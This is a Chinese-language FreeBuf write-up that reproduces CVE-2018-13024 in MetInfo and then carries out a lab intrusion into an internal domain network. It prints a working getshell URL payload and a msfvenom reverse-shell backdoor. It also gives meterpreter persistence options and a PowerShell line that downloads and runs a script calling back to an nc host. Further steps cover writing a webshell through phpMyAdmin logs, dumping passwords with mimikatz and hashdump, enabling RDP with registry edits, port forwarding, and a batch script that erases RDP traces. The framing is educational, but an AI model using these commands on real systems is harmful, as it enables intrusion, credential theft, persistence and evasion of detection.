CVE-2018-13024復現及一次簡單的內網滲透
0x00 環境搭建
攻擊機:kali linux及Windows10(本機)
邊緣機:Windows 2003
公網IP:192.168.61.140
內網IP:192.168.129.139
靶機:Windows 2008 內網IP192.168.129.130
0x01 引言
漏洞概述
MetInfo是中國米拓信息技術有限公司的一套使用PHP和Mysql開發的內容管理系統(CMS)。Metinfo 6.0.0版本中存在安全漏洞。遠程攻擊者可通過向admin/column/save.php文件發送『module』參數利用該漏洞向.php文件寫入代碼並執行該代碼。
影響版本
MetInfo 5.3.16MetInfo 6.0.0
漏洞分析
漏洞發生在metinfo6.0.0admincolumnsave.php的column_copyconfig函數。跟進
column_copyconfig
:跟進
Copyindx()
:
/*複製首頁*/
function Copyindx($newindx,$type){
if(!file_exists($newindx)){
$oldcont ="<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=$type;
require_once "../include/module.php";
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>";
$fp = fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
可以看到這裡將$type
變數直接寫入了文件中,而$type
變數一直可以追溯到column_copyconfig的$module
變數而metinfo一個經典的偽全局變數覆蓋,在metinfo6.0.0adminincludecommon.inc.php
中。
foreach(array("_COOKIE", "_POST", "_GET") as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != "_" && $$_key = daddslashes($_value,0,0,1);
$_M["form"][$_key]=daddslashes($_value,0,0,1);
}
}
這樣我們可以通過傳入get參數,覆蓋$module變數,導致任意文件寫入。
0x02 邊緣機滲透
信息收集
訪問網站:進行whoami,後台掃描,目錄掃描,埠掃描等常見信息收集,通過HTTP報文響應頭部可初步判斷網站技術架構。
發現網站為metinfo5.3.19:
獲取webshell
查找漏洞
Metinfo6.0.0之前版本存在後台getshell漏洞,登入後台即可使用payload getshell。
爆破後台
掃出後台目錄為/admin弱口令爆破admin,admin登入後台。
getshell
Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST["a"]);/*
菜刀連接
Shell在upload目錄下的index.php,使用蟻劍連接。看一下許可權administrator,不用提權了。
使用msf進行後滲透
msf生成後門msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe
傳到目標機:然後用虛擬終端運行:
在kali上可以看到shell反彈回來:
查看進程:
使用
migrate
遷移進程:
域信息收集
使用域下常見信息收集命令進行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。發現兩張網卡兩個IP,確定有內網無誤,使用msf進行getsystem:
其他msf信息收集命令:
run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟體信息
run post/windows/gather/dumplinks #獲取最近的文件操作
run post/windows/gather/enum_ie #獲取IE緩存
run post/windows/gather/enum_chrome #獲取Chrome緩存
run post/windows/gather/enum_patches #補丁信息
run post/windows/gather/enum_domain #查找域控
獲取密碼
使用msf:
load mimikatz
kerberos
失敗,嘗試hashdump:
破解hash:
許可權維持
通過Meterpretershell獲取持久性shell的方法有兩種,這裡我使用的是第一種。
Persistence模塊
運行
run persistence -U -i 10 -p 4444 -r 192.168.61.3
:
-U:設置後門在用戶登錄後自啟動。該方式會在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。
-i:設置反向連接間隔時間,單位為秒;
-p:設置反向連接的埠號;
-r:設置反向連接的ip地址。
這樣重啟後任然會有shell反彈。
Metsvc模塊
這個模塊是直接開啟服務 監聽31337埠利用handler下的windows/metsvc_bind_tcp模塊,重新獲得shell。
powershell許可權維持
powershell腳本:https://github.com/re4lity/Schtasks-Backdoor 使用方法見Readme文件。
powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.61.140/Invoke-taskBackdoor.ps1");Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2"
192.168.61.140 本地伺服器。
192.168.61.3 nc主機。
開啟3389
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
中文會亂碼:輸入之前抓到的用戶名密碼:
登入遠程桌面後也可以收集一波信息:
域控IP:
其他常用命令:
ipconfig /all 查看本機IP,所在域
net user /domain 查詢域用戶
net group /domain —— 查詢域裡面的工作組
net group 「domain admins」 /domain —— 查詢域管理員用戶組
ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字
net time /domain 查看時間,域控機器名
net view 顯示域中的計算機名列表
net view /domain:D1 顯示指定域中機器名
net user /domain 查看當前域中的用戶
net group 「domain admins」 /domain 查詢域管理員用戶組
net config workstation 顯示更改可配置工作站參數,也可以獲得登錄域,機器名等信息
net accounts查看本地密碼策略
netstat –an/ano/anb網路連接查詢
route print路由表
dsquery,可以用來收集跨域的信息,但是跨域執行的前提是必須建立信任關係
這些命令也可以直接在msf中輸入shell
命令執行。
0x03 內網滲透
查看arp緩存
arp:
route:
添加路由
埠掃描
445埠看一下是否能用ms17010:
不能打,用邊緣機遠程桌面看看80埠有什麼服務。
webshell
有apache phpmyadmin記下絕對路徑
C:/phpStudy/PHPTutorial/WWW
。
嘗試弱口令登入phpmyadmin然後日誌寫shell:
show variables like "%general%";
set global general_log = on;
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/shell.php";
select "<?php eval($_POST["a"]);?>"
報錯無所謂 已經存進日誌了,然後傳個菜刀到邊緣機,用邊緣機連一下:
開3389
傳個腳本上去抓hash:
mimikatz也可以:
privilege::debug
sekurlsa::logonPasswords
埠轉發
上傳htran:htran -p -tran 8888 192.168.129.130 3389
將域控3389轉發到邊緣機8888再連邊緣機ip(192.168.61.140:8888)遠程桌面:連接成功。
痕迹清除
簡單清除一下,動靜還是比較大的;
msf中clearev:3389痕迹清除腳本:
echo off
color 0A
title 3389連接痕迹清除
mode con cols=88 lines=20
set /p fk= 確定要清空3389連接痕迹嗎?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0
:y
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server Client" /f
del /a /f /q %HOMEPATH%DocumentsDefault.rdp
echo 命令執行成功,請手動查看是否清除。
pause >nul
:n
exit
然後再刪掉你上傳的所有文件,收工。
0x04 參考文章
[1] Metinfo 6.0.0 眾多漏洞分析 https://www.anquanke.com/post/id/154149
[2] phpmyadmin getshell姿勢http://www.twosmi1e.com/2018/10/11/phpmyadmin-getshell%E5%A7%BF%E5%8A%BF/
[3] 後滲透階段的許可權維持(Windows篇)https://www.freebuf.com/articles/web/180581.html
*本文原創作者:twosmi1e,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載


※Tcpreplay:用於*NIX和Windows的Pcap編輯和重放的工具
※看我如何反覆獲取到HackerOne的漏洞測試邀請
TAG:FreeBuf |